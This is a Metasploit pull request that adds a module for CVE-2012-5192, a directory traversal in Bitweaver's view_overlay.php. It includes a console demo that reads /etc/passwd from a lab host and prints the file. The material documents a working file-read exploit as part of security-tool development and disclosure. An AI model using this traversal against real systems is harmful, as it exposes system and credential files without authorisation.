rapid7/metasploit-framework — pull request #1003 by wchen-r7 (2012-11-02 19:24:07+00:00)
Title: Add CVE-2012-5192 - Bitweaver overlay_type module

This module exploits a directory traversal vulnerability found in Bitweaver. When hanlding the 'overlay_type' parameter, view_overlay.php fails to do any path checking/filtering, which can be abused to read any file outside the virtual directory.

Demo:

msf > use auxiliary/scanner/http/bitweaver_overlay_type_traversal
msf auxiliary(bitweaver_overlay_type_traversal) > set rhosts 10.0.1.8
rhosts => 10.0.1.8
msf auxiliary(bitweaver_overlay_type_traversal) > set verbose true
verbose => true
msf auxiliary(bitweaver_overlay_type_traversal) > run

[*] 10.0.1.8:80 - Reading '/etc/passwd'
root:x:0:0:root:/root:/bin/bash
...
colord:x:115:125:colord colour management daemon,,,:/var/lib/colord:/bin/false
mysql:x:116:127:MySQL Server,,,:/nonexistent:/bin/false
postgres:x:117:128:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
sshd:x:118:65534::/var/run/sshd:/usr/sbin/nologin
[+] 10.0.1.8:80 - /etc/passwd stored as '/Users/sinn3r/.msf4/loot/20121102142338_default_10.0.1.8_bitweaver.overla_577996.bin'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed